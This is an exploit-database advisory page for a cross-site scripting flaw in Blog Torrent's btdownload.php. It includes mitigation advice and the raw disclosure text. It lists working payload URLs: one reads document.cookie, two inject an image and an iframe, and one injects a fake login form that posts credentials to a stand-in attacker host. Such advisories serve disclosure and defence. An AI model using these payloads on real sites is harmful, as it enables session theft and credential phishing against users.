header-logo
Suggest Exploit
vendor:
Blog Torrent
by:
4.3
CVSS
MEDIUM
Cross-Site Scripting (XSS)
79
CWE
Product Name: Blog Torrent
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:

Cross-Site Scripting Vulnerability in Blog Torrent

A cross-site scripting vulnerability exists in Blog Torrent due to improper sanitization of user-supplied URI input. An attacker can create a malicious URI link containing hostile HTML and script code, which, if followed by a victim user, can result in the execution of the malicious code in the user's web browser. This can lead to theft of authentication credentials and other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user-supplied input before using it in the application. Implementing proper input validation and output encoding techniques can help prevent XSS attacks.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/11839/info

It is reported that Blog Torrent is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

Get cookie session:
http://www.example.com/bittorrent_module/btdownload.php?file=<script>alert(document.cookie)</script>

Insert content :
http://www.example.com/bittorrent_module/btdownload.php?file=<img%20src=http://www.google.es/images/logo_sm.gif>

Insert remote web :
http://www.example.com/bittorrent_module/btdownload.php?file=<iframe%20src=http://www.google.es/></iframe>

Insert remote data base:
http://www.example.com/bittorrent_module/btdownload.php?file=<form%20action="http://www.atacker.com/savedb.php"%20method="post">Username:<input%20name="username"%20type="text"%2
0maxlength="30">Password:<input%20name="password"%20type="text"%20maxlength="30"><input%20name="login"%20type="submit"%20value="Login"></form>